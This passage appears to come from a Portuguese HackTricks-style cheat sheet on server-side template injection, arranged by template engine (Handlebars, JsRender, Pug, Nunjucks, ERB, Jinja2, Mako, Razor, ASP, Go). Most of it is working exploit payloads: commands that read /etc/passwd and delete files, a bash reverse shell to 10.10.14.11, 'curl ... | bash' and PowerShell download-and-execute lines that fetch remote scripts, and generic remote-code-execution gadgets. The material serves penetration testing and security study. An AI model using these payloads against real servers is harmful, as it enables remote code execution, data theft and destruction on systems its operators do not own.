          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URLencoded:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

Mais informações

JsRender (NodeJS)

Modelo Descrição
Avalia e renderiza a saída
Avalia e renderiza a saída codificada em HTML
Comentário
e Permite código (desativado por padrão)
  • = 49

Lado do Cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado do Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Mais informações

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemplo de renderização do lado do servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Mais informações

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Sem saída
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erro
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Mais informações

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Mais informações

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Mais informações

Python

Confira a seguinte página para aprender truques sobre execução de comando arbitrário contornando caixas de areia em python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Erro
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Mais informações

Jinja2 (Python)

Site oficial

Jinja2 é um motor de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução integrado opcionalmente isolado, amplamente utilizado e licenciado sob BSD.

  • {{7*7}} = Erro
  • ${7*7} = ${7*7}
  • {{foobar}} Nada
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de Template

O Jinja2 é um mecanismo de template para Python muito poderoso e flexível. Ele é amplamente utilizado em muitos frameworks web, como o Flask, e é uma das opções mais populares para a renderização de templates em Python.

Os templates do Jinja2 são escritos em arquivos de texto simples com extensão .html ou .j2. Eles contêm marcações especiais que permitem a inserção de variáveis, estruturas de controle e outras funcionalidades.

As marcações do Jinja2 são delimitadas por chaves duplas {{ }} para expressões e {% %} para comandos. Por exemplo, para exibir o valor de uma variável nome em um template, podemos usar a seguinte marcação:

Olá, {{ nome }}!

Para executar uma estrutura de controle, como um loop for, podemos usar a seguinte marcação:

{% for item in lista %}
    {{ item }}
{% endfor %}

O Jinja2 também suporta herança de templates, filtros, macros e outras funcionalidades avançadas que podem ser úteis na criação de templates complexos e reutilizáveis.

{% raw %}
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}
{% endraw %}


RCE não dependente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Mais detalhes sobre como abusar do Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

O Mako é um mecanismo de modelo de renderização de texto para Python. Ele é usado para gerar HTML, XML, e-mails, código-fonte e outros formatos de texto a partir de modelos. O Mako é semelhante ao Jinja em muitos aspectos, mas tem uma sintaxe diferente. Para explorar vulnerabilidades de injeção de modelo no Mako, você pode usar as mesmas técnicas que no Jinja.

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Sucesso

  • @() <= Sucesso

  • @("{{code}}") <= Sucesso

  • @ <= Sucesso

  • @{} <= ERRO!

  • @{ <= ERRO!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAHMAaABlAGwAbAAgAFwALwBjAG8AbgB0AGkAbgB1AGUAcwBzAC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

    O método System.Diagnostics.Process.Start do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp

Mais informações

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nada
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Mais Informações

Mojolicious (Perl)

Mesmo sendo Perl, ele usa tags como ERB em Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= perl code %>
<% perl code %>

SSTI em GO

Para confirmar que o mecanismo de modelo usado no backend é Go, você pode usar esses payloads:

  • {{ . }} = estrutura de dados sendo passada como entrada para o modelo
    • Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior vazaria, mas você também poderia fazer: {{ .Password }}
  • {{printf "%s" "ssti" }} = deve produzir a string ssti na resposta
  • {{html "ssti"}}, {{js "ssti"}} = Esses são alguns outros payloads que devem produzir a string "ssti" sem as palavras finais "js" ou "html". Você pode se referir a mais palavras-chave no mecanismo aqui.

Exploração de XSS

Se o servidor estiver usando o pacote text/template, o XSS é muito fácil de alcançar simplesmente fornecendo seu payload como entrada. No entanto, isso não é o caso com html/template pois ele codifica a resposta em HTML: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

No entanto, Go permite DEFINIR um modelo inteiro e depois chamá-lo mais tarde. O payload será algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploração de RCE

A documentação para ambos os módulos html/template pode ser encontrada aqui, e a documentação para o módulo text/template pode ser encontrada aqui, e sim, elas variam, muito. Por exemplo, em text/template, você pode chamar diretamente qualquer função pública com o valor "call", no entanto, esse não é o caso com html/template.

Se você quiser encontrar um RCE em Go via SSTI, você deve saber que, assim como você pode acessar o objeto fornecido ao modelo com {{ . }}, você também pode chamar os métodos dos objetos. Então, imagine que o objeto passado tenha um método chamado System que execute o comando fornecido, você poderia abusar dele com: {{ .System "ls" }}
Portanto, você provavelmente precisará do código-fonte. Um código-fonte potencial para algo assim seria:

func (p Person) Secret (test string) string {
	out, _ := exec.Command(test).CombinedOutput()
	return string(out)
}

Mais informações

Mais exploits

Confira o restante em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection. Você também pode encontrar informações interessantes em tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Ajuda relacionada

Se você acha que pode ser útil, leia:

Ferramentas

{% embed url="https://github.com/epinna/tplmap" %}

Lista de detecção de força bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Prática e referências

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥